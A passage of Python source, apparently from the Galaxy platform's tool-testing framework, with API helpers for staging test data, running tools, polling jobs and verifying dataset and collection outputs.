failed, expected [{value}] but found [{dataset_value}], lists differ in length. Dataset API value was [{dataset}]." raise Exception(msg) for val, expected in zip(dataset_value, value): compare(val, expected) else: compare(dataset_value, value) except KeyError: msg = f"Failed to verify dataset metadata, metadata key [{key}] was not found." raise Exception(msg) def wait_for_job(self, job_id, history_id=None, maxseconds=DEFAULT_TOOL_TEST_WAIT): self.wait_for(lambda: self.__job_ready(job_id, history_id), maxseconds=maxseconds) def wait_for(self, func, what='tool test run', **kwd): walltime_exceeded = int(kwd.get("maxseconds", DEFAULT_TOOL_TEST_WAIT)) wait_on(func, what, walltime_exceeded) def get_job_stdio(self, job_id): job_stdio = self.__get_job_stdio(job_id).json() return job_stdio def __get_job(self, job_id): return self._get(f'jobs/{job_id}') def __get_job_stdio(self, job_id): return self._get(f'jobs/{job_id}?full=true') def get_history(self, history_name='test_history'): # Return the most recent non-deleted history matching the provided name response = self._get(f"histories?q=name&qv={history_name}&order=update_time") try: return response.json()[-1] except IndexError: return None def new_history(self, history_name='test_history', publish_history=False): create_response = self._post("histories", {"name": history_name}) try: create_response.raise_for_status() except Exception as e: raise Exception(f"Error occured while creating history with name '{history_name}': {e}") history_id = create_response.json()['id'] if publish_history: self.publish_history(history_id) return history_id def publish_history(self, history_id): response = self._put(f'histories/{history_id}', json.dumps({'published': True})) response.raise_for_status() @nottest def test_data_path(self, tool_id, filename, tool_version=None): version_fragment = f'&tool_version={tool_version}' if tool_version else '' response = self._get(f"tools/{tool_id}/test_data_path?filename={filename}{version_fragment}", admin=True) return response.json() @nottest def test_data_download(self, tool_id, filename, mode='file', is_output=True, tool_version=None): result = None local_path = None if self.supports_test_data_download: version_fragment = f'&tool_version={tool_version}' if tool_version else '' response = self._get(f"tools/{tool_id}/test_data_download?filename={filename}{version_fragment}", admin=True) if response.status_code == 200: if mode == 'file': result = response.content elif mode == 'directory': prefix = os.path.basename(filename) path = tempfile.mkdtemp(prefix=prefix) fileobj = io.BytesIO(response.content) if zipfile.is_zipfile(fileobj): with zipfile.ZipFile(fileobj) as contents: contents.extractall(path=path) else: # Galaxy < 21.01 with tarfile.open(fileobj=fileobj) as tar_contents: tar_contents.extractall(path=path) result = path else: # We can only use local data local_path = self.test_data_path(tool_id, filename, tool_version=tool_version) if result is None and (local_path is None or not os.path.exists(local_path)): for test_data_directory in self.test_data_directories: local_path = os.path.join(test_data_directory, filename) if os.path.exists(local_path): break if result is None and local_path is not None and os.path.exists(local_path): if mode == 'file': with open(local_path, mode='rb') as f: result = f.read() elif mode == 'directory': # Make a copy, since we are going to clean up the returned path path = tempfile.mkdtemp() shutil.copytree(local_path, path) result = path if result is None: if is_output: raise AssertionError(f"Test output file ({filename}) is missing. If you are using planemo, try adding --update_test_data to generate it.") else: raise AssertionError(f"Test input file ({filename}) cannot be found.") return result def __output_id(self, output_data): # Allow data structure coming out of tools API - {id: <id>, output_name: <name>, etc...} # or simple id as comes out of workflow API. try: output_id = output_data.get('id') except AttributeError: output_id = output_data return output_id def stage_data_async(self, test_data, history_id, tool_id, force_path_paste=False, maxseconds=DEFAULT_TOOL_TEST_WAIT, tool_version=None): fname = test_data['fname'] tool_input = { "file_type": test_data['ftype'], "dbkey": test_data['dbkey'], } metadata = test_data.get("metadata", {}) if not hasattr(metadata, "items"): raise Exception(f"Invalid metadata description found for input [{fname}] - [{metadata}]") for name, value in test_data.get('metadata', {}).items(): tool_input[f"files_metadata|{name}"] = value composite_data = test_data['composite_data'] if composite_data: files = {} for i, file_name in enumerate(composite_data): if force_path_paste: file_path = self.test_data_path(tool_id, file_name, tool_version=tool_version) tool_input.update({ f"files_{i}|url_paste": f"file://{file_path}" }) else: file_content = self.test_data_download(tool_id, file_name, is_output=False, tool_version=tool_version) files[f"files_{i}|file_data"] = file_content tool_input.update({ f"files_{i}|type": "upload_dataset", }) name = test_data['name'] else: name = os.path.basename(fname) tool_input.update({ "files_0|NAME": name, "files_0|type": "upload_dataset", }) files = {} if force_path_paste: file_name = self.test_data_path(tool_id, fname, tool_version=tool_version) tool_input.update({ "files_0|url_paste": f"file://{file_name}" }) else: file_content = self.test_data_download(tool_id, fname, is_output=False, tool_version=tool_version) files = { "files_0|file_data": file_content } submit_response_object = self.__submit_tool(history_id, "upload1", tool_input, extra_data={"type": "upload_dataset"}, files=files) submit_response = ensure_tool_run_response_okay(submit_response_object, f"upload dataset {name}") assert "outputs" in submit_response, f"Invalid response from server [{submit_response}], expecting outputs in response." outputs = submit_response["outputs"] assert len(outputs) > 0, f"Invalid response from server [{submit_response}], expecting an output dataset." dataset = outputs[0] hid = dataset['id'] self.uploads[os.path.basename(fname)] = self.uploads[fname] = self.uploads[name] = {"src": "hda", "id": hid} assert "jobs" in submit_response, f"Invalid response from server [{submit_response}], expecting jobs in response." jobs = submit_response["jobs"] assert len(jobs) > 0, f"Invalid response from server [{submit_response}], expecting a job." return lambda: self.wait_for_job(jobs[0]["id"], history_id, maxseconds=maxseconds) def run_tool(self, testdef, history_id, resource_parameters=None): # We need to handle the case where we've uploaded a valid compressed file since the upload # tool will have uncompressed it on the fly. resource_parameters = resource_parameters or {} inputs_tree = testdef.inputs.copy() for key, value in inputs_tree.items(): values = [value] if not isinstance(value, list) else value new_values = [] for value in values: if isinstance(value, TestCollectionDef): hdca_id = self._create_collection(history_id, value) new_values = [dict(src="hdca", id=hdca_id)] elif value in self.uploads: new_values.append(self.uploads[value]) else: new_values.append(value) inputs_tree[key] = new_values if resource_parameters: inputs_tree["__job_resource|__job_resource__select"] = "yes" for key, value in resource_parameters.items(): inputs_tree[f"__job_resource|{key}"] = value # HACK: Flatten single-value lists. Required when using expand_grouping for key, value in inputs_tree.items(): if isinstance(value, list) and len(value) == 1: inputs_tree[key] = value[0] submit_response = None for _ in range(DEFAULT_TOOL_TEST_WAIT): submit_response = self.__submit_tool(history_id, tool_id=testdef.tool_id, tool_input=inputs_tree, tool_version=testdef.tool_version) if _are_tool_inputs_not_ready(submit_response): print("Tool inputs not ready yet") time.sleep(1) continue else: break submit_response_object = ensure_tool_run_response_okay(submit_response, "execute tool", inputs_tree) try: return Bunch( inputs=inputs_tree, outputs=self.__dictify_outputs(submit_response_object), output_collections=self.__dictify_output_collections(submit_response_object), jobs=submit_response_object['jobs'], ) except KeyError: message = f"Error creating a job for these tool inputs - {submit_response_object["err_msg"]}" raise RunToolException(message, inputs_tree) def _create_collection(self, history_id, collection_def): create_payload = dict( name=collection_def.name, element_identifiers=self._element_identifiers(collection_def), collection_type=collection_def.collection_type, history_id=history_id, ) return self._post("dataset_collections", data=create_payload, json=True).json()["id"] def _element_identifiers(self, collection_def): element_identifiers = [] for element_dict in collection_def.elements: element_identifier = element_dict["element_identifier"] element_def = element_dict["element_definition"] if isinstance(element_def, TestCollectionDef): subelement_identifiers = self._element_identifiers(element_def) element = dict( name=element_identifier, src="new_collection", collection_type=element_def.collection_type, element_identifiers=subelement_identifiers ) else: element = self.uploads[element_def["value"]].copy() element["name"] = element_identifier tags = element_def.get("attributes").get("tags") if tags: element["tags"] = tags.split(",") element_identifiers.append(element) return element_identifiers def __dictify_output_collections(self, submit_response): output_collections_dict = {} for output_collection in submit_response['output_collections']: output_collections_dict[output_collection.get("output_name")] = output_collection return output_collections_dict def __dictify_outputs(self, datasets_object): # Convert outputs list to a dictionary that can be accessed by # output_name so can be more flexible about ordering of outputs # but also allows fallback to legacy access as list mode. outputs_dict = OutputsDict() for output in datasets_object['outputs']: outputs_dict[output.get("output_name")] = output return outputs_dict def output_hid(self, output_data): return output_data['id'] def delete_history(self, history): self._delete(f"histories/{history}") def __job_ready(self, job_id, history_id=None): if job_id is None: raise ValueError("__job_ready passed empty job_id") try: return self._state_ready(job_id, error_msg="Job in error state.") except Exception: if VERBOSE_ERRORS and history_id is not None: self._summarize_history(history_id) raise def _summarize_history(self, history_id): if history_id is None: raise ValueError("_summarize_history passed empty history_id") print(f"Problem in history with id {history_id} - summary of history's datasets and jobs below.") try: history_contents = self.__contents(history_id) except Exception: print("*TEST FRAMEWORK FAILED TO FETCH HISTORY DETAILS*") return for history_content in history_contents: dataset = history_content print(ERROR_MESSAGE_DATASET_SEP) dataset_id = dataset.get('id', None) print(f"| {dataset["hid"]} - {dataset["name"]} (HID - NAME) ") if history_content['history_content_type'] == 'dataset_collection': history_contents_json = self._get(f"histories/{history_id}/contents/dataset_collections/{history_content["id"]}").json() print(f"| Dataset Collection: {history_contents_json}") print("|") continue try: dataset_info = self._dataset_info(history_id, dataset_id) print("| Dataset State:") print(self.format_for_summary(dataset_info.get("state"), "Dataset state is unknown.")) print("| Dataset Blurb:") print(self.format_for_summary(dataset_info.get("misc_blurb", ""), "Dataset blurb was empty.")) print("| Dataset Info:") print(self.format_for_summary(dataset_info.get("misc_info", ""), "Dataset info is empty.")) print("| Peek:") print(self.format_for_summary(dataset_info.get("peek", ""), "Peek unavailable.")) except Exception: print("| *TEST FRAMEWORK ERROR FETCHING DATASET DETAILS*") try: provenance_info = self._dataset_provenance(history_id, dataset_id) print("| Dataset Job Standard Output:") print(self.format_for_summary(provenance_info.get("stdout", ""), "Standard output was empty.")) print("| Dataset Job Standard Error:") print(self.format_for_summary(provenance_info.get("stderr", ""), "Standard error was empty.")) except Exception: print("| *TEST FRAMEWORK ERROR FETCHING JOB DETAILS*") print("|") try: jobs_json = self._get(f"jobs?history_id={history_id}").json() for job_json in jobs_json: print(ERROR_MESSAGE_DATASET_SEP) print(f"| Job {job_json["id"]}") print("| State: ") print(self.format_for_summary(job_json.get("state", ""), "Job state is unknown.")) print("| Update Time:") print(self.format_for_summary(job_json.get("update_time", ""), "Job update time is unknown.")) print("| Create Time:") print(self.format_for_summary(job_json.get("create_time", ""), "Job create time is unknown.")) print("|") print(ERROR_MESSAGE_DATASET_SEP) except Exception: print(ERROR_MESSAGE_DATASET_SEP) print("*TEST FRAMEWORK FAILED TO FETCH HISTORY JOBS*") print(ERROR_MESSAGE_DATASET_SEP) def format_for_summary(self, blob, empty_message, prefix="| "): contents = "\n".join(f"{prefix}{line.strip()}" for line in io.StringIO(blob).readlines() if line.rstrip("\n\r")) return contents or f"{prefix}*{empty_message}*" def _dataset_provenance(self, history_id, id): provenance = self._get(f"histories/{history_id}/contents/{id}/provenance").json() return provenance def _dataset_info(self, history_id, id): dataset_json = self._get(f"histories/{history_id}/contents/{id}").json() return dataset_json def __contents(self, history_id): history_contents_response = self._get(f"histories/{history_id}/contents") history_contents_response.raise_for_status() return history_contents_response.json() def _state_ready(self, job_id, error_msg): state_str = self.__get_job(job_id).json()['state'] if state_str == 'ok': return True elif state_str == 'error': job_json = self.get_job_stdio(job_id) raise Exception(f"{error_msg}. tool_id: {job_json["tool_id"]}, exit_code: {job_json["exit_code"]}, stderr: {job_json["stderr"]}.") return None def __submit_tool(self, history_id, tool_id, tool_input, extra_data=None, files=None, tool_version=None): extra_data = extra_data or {} data = dict( history_id=history_id, tool_id=tool_id, inputs=dumps(tool_input), tool_version=tool_version, **extra_data ) return self._post("tools", files=files, data=data) def ensure_user_with_email(self, email, password=None): admin_key = self.master_api_key all_users_response = self._get('users', key=admin_key) try: all_users_response.raise_for_status() except requests.exceptions.HTTPError as e: raise Exception(f"Failed to verify user with email [{email}] exists - perhaps you're targetting the wrong Galaxy server or using an incorrect admin API key. HTTP error: {e}") all_users = all_users_response.json() try: test_user = [user for user in all_users if user["email"] == email][0] except IndexError: username = re.sub(r"[^a-z-\d]", '--', email.lower()) password = password or 'testpass' # If remote user middleware is enabled - this endpoint consumes # ``remote_user_email`` otherwise it requires ``email``, ``password`` # and ``username``. data = dict( remote_user_email=email, email=email, password=password, username=username, ) test_user = self._post('users', data, key=admin_key).json() return test_user def __test_data_downloader(self, tool_id, tool_version=None): def test_data_download(filename, mode='file'): return self.test_data_download(tool_id, filename, mode=mode, tool_version=tool_version) return test_data_download def __dataset_fetcher(self, history_id): def fetcher(hda_id, base_name=None): url = f"histories/{history_id}/contents/{hda_id}/display?raw=true" if base_name: url += f"&filename={base_name}" response = None for _ in range(self.download_attempts): response = self._get(url) if response.status_code == 500: print(f"Retrying failed download with status code {response.status_code}") time.sleep(self.download_sleep) continue else: break response.raise_for_status() return response.content return fetcher def api_key_header(self, key, admin, anon, headers): header = headers or {} if not anon: if not key: key = self.api_key if not admin else self.master_api_key header['x-api-key'] = key return header def _post(self, path, data=None, files=None, key=None, headers=None, admin=False, anon=False, json=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwd = self._prepare_request_params(data=data, files=files, as_json=json, headers=headers) kwd['timeout'] = kwd.pop('timeout', util.DEFAULT_SOCKET_TIMEOUT) return requests.post(url, **kwd) def _delete(self, path, data=None, key=None, headers=None, admin=False, anon=False, json=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwd = self._prepare_request_params(data=data, as_json=json, headers=headers) kwd['timeout'] = kwd.pop('timeout', util.DEFAULT_SOCKET_TIMEOUT) return requests.delete(url, **kwd) def _patch(self, path, data=None, key=None, headers=None, admin=False, anon=False, json=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwd = self._prepare_request_params(data=data, as_json=json, headers=headers) kwd['timeout'] = kwd.pop('timeout', util.DEFAULT_SOCKET_TIMEOUT) return requests.patch(url, **kwd) def _put(self, path, data=None, key=None, headers=None, admin=False, anon=False, json=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwd = self._prepare_request_params(data=data, as_json=json, headers=headers) kwd['timeout'] = kwd.pop('timeout', util.DEFAULT_SOCKET_TIMEOUT) return requests.put(url, **kwd) def _get(self, path, data=None, key=None, headers=None, admin=False, anon=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwargs = {} if self.cookies: kwargs['cookies'] = self.cookies # no data for GET return requests.get(url, params=data, headers=headers, timeout=util.DEFAULT_SOCKET_TIMEOUT, **kwargs) def get_api_url(self, path: str) -> str: if path.startswith("http"): return path elif path.startswith("/api/"): path = path[len("/api/"):] return urllib.parse.urljoin(f"{self.api_url}/", path) def _prepare_request_params(self, data=None, files=None, as_json: bool = False, params: dict = None, headers: dict = None): """Handle some Galaxy conventions and work around requests issues. This is admittedly kind of hacky, so the interface may change frequently - be careful on reuse. If ``as_json`` is True, use post payload using request's json parameter instead of the data parameter (i.e. assume the contents is a json-ified blob instead of form parameters with individual parameters json-ified if needed). requests doesn't allow files to be specified with the json parameter - so rewrite the parameters to handle that if as_json is True with specified files. """ params = params or {} data = data or {} # handle encoded files if files is None: # if not explicitly passed, check __files... convention used in tool testing # and API testing code files = data.get("__files", None) if files is not None: del data["__files"] # files doesn't really work with json, so dump the parameters # and do a normal POST with request's data parameter. if bool(files) and as_json: as_json = False new_items = {} for key, val in data.items(): if isinstance(val, dict) or isinstance(val, list): new_items[key] = dumps(val) data.update(new_items) kwd = { 'files': files, } if headers: kwd['headers'] = headers if as_json: kwd['json'] = data or None kwd['params'] = params else: data.update(params) kwd['data'] = data if self.cookies: kwd['cookies'] = self.cookies return kwd def ensure_tool_run_response_okay(submit_response_object, request_desc, inputs=None): if submit_response_object.status_code != 200: message = None dynamic_param_error = False try: err_response = submit_response_object.json() if "param_errors" in err_response: param_errors = err_response["param_errors"] if "dbkey" in param_errors: dbkey_err_obj = param_errors["dbkey"] dbkey_val = dbkey_err_obj.get("parameter_value") message = f"Invalid dbkey specified [{dbkey_val}]" for value in param_errors.values(): if isinstance(value, dict) and value.get("is_dynamic"): dynamic_param_error = True if message is None: message = err_response.get("err_msg") or None except Exception: # invalid JSON content. pass if message is None: message = f"Request to {request_desc} failed - invalid JSON content returned from Galaxy server [{submit_response_object.text}]" raise RunToolException(message, inputs, dynamic_param_error=dynamic_param_error) submit_response = submit_response_object.json() return submit_response def _are_tool_inputs_not_ready(submit_response): if submit_response.status_code != 400: return False try: submit_json = submit_response.json() return submit_json.get("err_code") == 400015 except Exception: return False class RunToolException(Exception): def __init__(self, message, inputs=None, dynamic_param_error=False): super().__init__(message) self.inputs = inputs self.dynamic_param_error = dynamic_param_error # Galaxy specific methods - rest of this can be used with arbitrary files and such. def verify_hid(filename, hda_id, attributes, test_data_downloader, hid="", dataset_fetcher=None, keep_outputs_dir=False): assert dataset_fetcher is not None def verify_extra_files(extra_files): _verify_extra_files_content(extra_files, hda_id, dataset_fetcher=dataset_fetcher, test_data_downloader=test_data_downloader, keep_outputs_dir=keep_outputs_dir) data = dataset_fetcher(hda_id) item_label = "" verify( item_label, data, attributes=attributes, filename=filename, get_filecontent=test_data_downloader, keep_outputs_dir=keep_outputs_dir, verify_extra_files=verify_extra_files, ) def verify_collection(output_collection_def, data_collection, verify_dataset): name = output_collection_def.name expected_collection_type = output_collection_def.collection_type if expected_collection_type: collection_type = data_collection["collection_type"] if expected_collection_type != collection_type: message = f"Output collection '{name}': expected to be of type [{expected_collection_type}], was of type [{collection_type}]." raise AssertionError(message) expected_element_count = output_collection_def.count if expected_element_count: actual_element_count = len(data_collection["elements"]) if expected_element_count != actual_element_count: message = f"Output collection '{name}': expected to have {expected_element_count} elements, but it had {actual_element_count}." raise AssertionError(message) def get_element(elements, id): for element in elements: if element["element_identifier"] == id: return element return False def verify_elements(element_objects, element_tests): expected_sort_order = {} eo_ids = [_["element_identifier"] for _ in element_objects] for element_identifier, element_test in element_tests.items(): if isinstance(element_test, dict): element_outfile, element_attrib = None, element_test else: element_outfile, element_attrib = element_test if 'expected_sort_order' in element_attrib: expected_sort_order[element_attrib['expected_sort_order']] = element_identifier element = get_element(element_objects, element_identifier) if not element: message = f"Output collection '{name}': failed to find identifier '{element_identifier}' in the tool generated elements {eo_ids}" raise AssertionError(message) element_type = element["element_type"] if element_type != "dataset_collection": verify_dataset(element, element_attrib, element_outfile) else: elements = element["object"]["elements"] verify_elements(elements, element_attrib.get("elements", {})) if len(expected_sort_order) > 0: generated_sort_order = [_["element_identifier"] for _ in element_objects] i = 0 for element_index in sorted(expected_sort_order.keys()): identifier = expected_sort_order[element_index] try: i = generated_sort_order[i:].index(identifier) + 1 except ValueError: message = f"Output collection '{name}': identifier '{element_identifier}' found out of order, expected order of {expected_sort_order} for the tool generated collection elements {eo_ids}" raise AssertionError(message) verify_elements(data_collection["elements"], output_collection_def.element_tests) def _verify_composite_datatype_file_content(file_name, hda_id, base_name=None, attributes=None, dataset_fetcher=None, test_data_downloader=None, keep_outputs_dir=False, mode='file'): assert dataset_fetcher is not None data = dataset_fetcher(hda_id, base_name) item_label = f"History item {hda_id}" try: verify( item_label, data, attributes=attributes, filename=file_name, get_filecontent=test_data_downloader, keep_outputs_dir=keep_outputs_dir, mode=mode, ) except AssertionError as err: errmsg = f'Composite file ({base_name}) of {item_label} different than expected, difference:\n' errmsg += util.unicodify(err) raise AssertionError(errmsg) def _verify_extra_files_content(extra_files, hda_id, dataset_fetcher, test_data_downloader, keep_outputs_dir): files_list = [] cleanup_directories = [] for extra_file_dict in extra_files: extra_file_type = extra_file_dict["type"] extra_file_name = extra_file_dict["name"] extra_file_attributes = extra_file_dict["attributes"] extra_file_value = extra_file_dict["value"] if extra_file_type == 'file': files_list.append((extra_file_name, extra_file_value, extra_file_attributes, extra_file_type)) elif extra_file_type == 'directory': extracted_path = test_data_downloader(extra_file_value, mode='directory') cleanup_directories.append(extracted_path) for root, _directories, files in util.path.safe_walk(extracted_path): for filename in files: filename = os.path.join(root, filename) filename = os.path.relpath(filename, extracted_path) files_list.append((filename, os.path.join(extracted_path, filename), extra_file_attributes, extra_file_type)) else: raise ValueError(f'unknown extra_files type: {extra_file_type}') try: for filename, filepath, attributes, extra_file_type in files_list: _verify_composite_datatype_file_content(filepath, hda_id, base_name=filename, attributes=attributes, dataset_fetcher=dataset_fetcher, test_data_downloader=test_data_downloader, keep_outputs_dir=keep_outputs_dir, mode=extra_file_type) finally: for path in cleanup_directories: shutil.rmtree(path) class NullClientTestConfig: def get_test_config(self, job_data): return None class DictClientTestConfig: def __init__(self, tools): self._tools = tools or {} def get_test_config(self, job_data): # TODO: allow short ids, allow versions below outer id instead of key concatenation. tool_id = job_data.get("tool_id") tool_version = job_data.get("tool_version") tool_test_config = None tool_version_test_config = None is_default = False if tool_id in self._tools: tool_test_config = self._tools[tool_id] if tool_test_config is None: tool_id = f"{tool_id}/{tool_version}" if tool_id in self._tools: tool_version_test_config = self._tools[tool_id] else: if tool_version in tool_test_config: tool_version_test_config = tool_test_config[tool_version] elif "default" in tool_test_config: tool_version_test_config = tool_test_config["default"] is_default = True if tool_version_test_config: test_index = job_data.get("test_index") if test_index in tool_version_test_config: return tool_version_test_config[test_index] elif str(test_index) in tool_version_test_config: return tool_version_test_config[str(test_index)] if 'default' in tool_version_test_config: return tool_version_test_config['default'] elif is_default: return tool_version_test_config return None def verify_tool(tool_id, galaxy_interactor, resource_parameters=None, register_job_data=None, test_index=0, tool_version=None, quiet=False, test_history=None, no_history_cleanup=False, publish_history=False, force_path_paste=False, maxseconds=DEFAULT_TOOL_TEST_WAIT, tool_test_dicts=None, client_test_config=None, skip_with_reference_data=False, skip_on_dynamic_param_errors=False): if resource_parameters is None: resource_parameters = {} if client_test_config is None: client_test_config = NullClientTestConfig() tool_test_dicts = tool_test_dicts or galaxy_interactor.get_tool_tests(tool_id, tool_version=tool_version) tool_test_dict = tool_test_dicts[test_index] if "test_index" not in tool_test_dict: tool_test_dict["test_index"] = test_index if "tool_id" not in tool_test_dict: tool_test_dict["tool_id"] = tool_id if tool_version is None and "tool_version" in tool_test_dict: tool_version = tool_test_dict.get("tool_version") job_data = { "tool_id": tool_id, "tool_version": tool_version, "test_index": test_index, } client_config = client_test_config.get_test_config(job_data) skip_message = None if client_config is not None: job_data.update(client_config) skip_message = job_data.get("skip") if not skip_message and skip_with_reference_data: required_data_tables = tool_test_dict.get("required_data_tables") required_loc_files = tool_test_dict.get("required_loc_files") # TODO: actually hit the API and see if these tables are available. if required_data_tables: skip_message = f"Skipping test because of required data tables ({required_data_tables})" if required_loc_files: skip_message = f"Skipping test because of required loc files ({required_loc_files})" if skip_message: job_data["status"] = "skip" register_job_data(job_data) return tool_test_dict.setdefault('maxseconds', maxseconds) testdef = ToolTestDescription(tool_test_dict) _handle_def_errors(testdef) created_history = False if test_history is None: created_history = True history_name = f"Tool Test History for {tool_id}/{tool_version}-{test_index}" test_history = galaxy_interactor.new_history(history_name=history_name, publish_history=publish_history) # Upload data to test_history, run the tool and check the outputs - record # API input, job info, tool run exception, as well as exceptions related to # job output checking and register they with the test plugin so it can # record structured information. tool_inputs = None job_stdio = None job_output_exceptions = None tool_execution_exception = None input_staging_exception = None expected_failure_occurred = False begin_time = time.time() try: try: stage_data_in_history( galaxy_interactor, tool_id, testdef.test_data(), history=test_history, force_path_paste=force_path_paste, maxseconds=maxseconds, tool_version=tool_version, ) except Exception as e: input_staging_exception = e raise try: tool_response = galaxy_interactor.run_tool(testdef, test_history, resource_parameters=resource_parameters) data_list, jobs, tool_inputs = tool_response.outputs, tool_response.jobs, tool_response.inputs data_collection_list = tool_response.output_collections except RunToolException as e: tool_inputs = e.inputs tool_execution_exception = e if not testdef.expect_failure: raise e else: expected_failure_occurred = True except Exception as e: tool_execution_exception = e raise e if not expected_failure_occurred: assert data_list or data_collection_list try: job_stdio = _verify_outputs(testdef, test_history, jobs, data_list, data_collection_list, galaxy_interactor, quiet=quiet) except JobOutputsError as e: job_stdio = e.job_stdio job_output_exceptions = e.output_exceptions raise e except Exception as e: job_output_exceptions = [e] raise e finally: if register_job_data is not None: end_time = time.time() job_data["time_seconds"] = end_time - begin_time if tool_inputs is not None: job_data["inputs"] = tool_inputs if job_stdio is not None: job_data["job"] = job_stdio status = "success" if job_output_exceptions: job_data["output_problems"] = [util.unicodify(_) for _ in job_output_exceptions] status = "failure" if tool_execution_exception: job_data["execution_problem"] = util.unicodify(tool_execution_exception) dynamic_param_error = getattr(tool_execution_exception, "dynamic_param_error", False) job_data["dynamic_param_error"] = dynamic_param_error status = "error" if not skip_on_dynamic_param_errors or not dynamic_param_error else "skip" if input_staging_exception: job_data["execution_problem"] = f"Input staging problem: {util.unicodify(input_staging_exception)}" status = "error" job_data["status"] = status register_job_data(job_data) if created_history and not no_history_cleanup: galaxy_interactor.delete_history(test_history) def _handle_def_errors(testdef): # If the test generation had an error, raise if testdef.error: if testdef.exception: if isinstance(testdef.exception, Exception): raise testdef.exception else: raise Exception(testdef.exception) else: raise Exception("Test parse failure") def _verify_outputs(testdef, history, jobs, data_list, data_collection_list, galaxy_interactor, quiet=False): assert len(jobs) == 1, "Test framework logic error, somehow tool test resulted in more than one job." job = jobs[0] maxseconds = testdef.maxseconds if testdef.num_outputs is not None: expected = testdef.num_outputs actual = len(data_list) + len(data_collection_list) if expected != actual: message = f"Incorrect number of outputs - expected {expected}, found {actual}: datasets {data_list} collections {data_collection_list}" raise Exception(message) found_exceptions = [] def register_exception(e): if not found_exceptions and not quiet: # Only print this stuff out once. for stream in ['stdout', 'stderr']: if stream in job_stdio: print(_format_stream(job_stdio[stream], stream=stream, format=True), file=sys.stderr) found_exceptions.append(e) if testdef.expect_failure: if testdef.outputs: raise Exception("Cannot specify outputs in a test expecting failure.") # Wait for the job to complete and register expections if the final # status was not what test was expecting. job_failed = False try: galaxy_interactor.wait_for_job(job['id'], history, maxseconds) except Exception as e: job_failed = True if not testdef.expect_failure: found_exceptions.append(e) job_stdio = galaxy_interactor.get_job_stdio(job['id']) if not job_failed and testdef.expect_failure: error = AssertionError("Expected job to fail but Galaxy indicated the job successfully completed.") register_exception(error) expect_exit_code = testdef.expect_exit_code if expect_exit_code is not None: exit_code = job_stdio["exit_code"] if str(expect_exit_code) != str(exit_code): error = AssertionError(f"Expected job to complete with exit code {expect_exit_code}, found {exit_code}") register_exception(error) for output_index, output_dict in enumerate(testdef.outputs): # Get the correct hid name = output_dict["name"] outfile = output_dict["value"] attributes = output_dict["attributes"] output_testdef = Bunch(name=name, outfile=outfile, attributes=attributes) try: output_data = data_list[name] except (TypeError, KeyError): # Legacy - fall back on ordered data list access if data_list is # just a list (case with twill variant or if output changes its # name). if hasattr(data_list, "values"): output_data = list(data_list.values())[output_index] else: output_data = data_list[len(data_list) - len(testdef.outputs) + output_index] assert output_data is not None try: galaxy_interactor.verify_output(history, jobs, output_data, output_testdef=output_testdef, tool_id=job['tool_id'], maxseconds=maxseconds, tool_version=testdef.tool_version) except Exception as e: register_exception(e) other_checks = { "command_line": "Command produced by the job", "command_version": "Tool version indicated during job execution", "stdout": "Standard output of the job", "stderr": "Standard error of the job", } # TODO: Only hack the stdio like this for older profile, for newer tool profiles # add some syntax for asserting job messages maybe - or just drop this because exit # code and regex on stdio can be tested directly - so this is really testing Galaxy # core handling more than the tool. job_messages = job_stdio.get("job_messages") or [] stdout_prefix = "" stderr_prefix = "" for job_message in job_messages: message_type = job_message.get("type") if message_type == "regex" and job_message.get("stream") == "stderr": stderr_prefix += f"{job_message.get("desc") or ""}\n" elif message_type == "regex" and job_message.get("stream") == "stdout": stdout_prefix += f"{job_message.get("desc") or ""}\n" elif message_type == "exit_code": stderr_prefix += f"{job_message.get("desc") or ""}\n" else: raise Exception(f"Unknown job message type [{message_type}] in [{job_message}]") for what, description in other_checks.items(): if getattr(testdef, what, None) is not None: try: raw_data = job_stdio[what] assertions = getattr(testdef, what) if what == "stdout": data = stdout_prefix + raw_data elif what == "stderr": data = stderr_prefix + raw_data else: data = raw_data verify_assertions(data, assertions) except AssertionError as err: errmsg = f'{description} different than expected\n' errmsg += util.unicodify(err) register_exception(AssertionError(errmsg)) for output_collection_def in testdef.output_collections: try: name = output_collection_def.name # TODO: data_collection_list is clearly a bad name for dictionary. if name not in data_collection_list: message = f"Failed to find output [{name}], tool outputs include [{",".join(data_collection_list.keys())}]" raise AssertionError(message) # Data collection returned from submission, elements may have been populated after # the job completed so re-hit the API for more information. data_collection_id = data_collection_list[name]["id"] galaxy_interactor.verify_output_collection(output_collection_def, data_collection_id, history, job['tool_id']) except Exception as e: register_exception(e) if found_exceptions and not testdef.expect_test_failure: raise JobOutputsError(found_exceptions, job_stdio) else: return job_stdio def _format_stream(output, stream, format): output = output or '' if format: msg = f"---------------------- >> begin tool {stream} << -----------------------\n" msg += f"{output}\n" msg += f"----------------------- >> end tool {stream} << ------------------------\n" else: msg = output return msg class JobOutputsError(AssertionError): def __init__(self, output_exceptions, job_stdio): big_message = "\n".join(map(util.unicodify, output_exceptions)) super().__init__(big_message) self.job_stdio = job_stdio self.output_exceptions = output_exceptions class ToolTestDescription: """ Encapsulates information about a tool test, and allows creation of a dynamic TestCase class (the unittest framework is very class oriented, doing dynamic tests in this way allows better integration) """ def __init__(self, processed_test_dict): assert "test_index" in processed_test_dict, "Invalid processed test description, must have a 'test_index' for naming, etc.." test_index = processed_test_dict["test_index"] name = processed_test_dict.get('name', f'Test-{test_index + 1}') maxseconds = processed_test_dict.get('maxseconds', DEFAULT_TOOL_TEST_WAIT) if maxseconds is not None: maxseconds = int(maxseconds) self.test_index = test_index assert "tool_id" in processed_test_dict, "Invalid processed test description, must have a 'tool_id' for naming, etc.." self.tool_id = processed_test_dict["tool_id"] self.tool_version = processed_test_dict.get("tool_version") self.name = name self.maxseconds = maxseconds self.required_files = processed_test_dict.get("required_files", []) self.required_data_tables = processed_test_dict.get("required_data_tables", []) self.required_loc_files = processed_test_dict.get("required_loc_files", []) inputs = processed_test_dict.get("inputs", {}) loaded_inputs = {} for key, value in inputs.items(): if isinstance(value, dict) and value.get("model_class"): loaded_inputs[key] = TestCollectionDef.from_dict(value) else: loaded_inputs[key] = value self.inputs = loaded_inputs self.outputs = processed_test_dict.get("outputs", []) self.num_outputs = 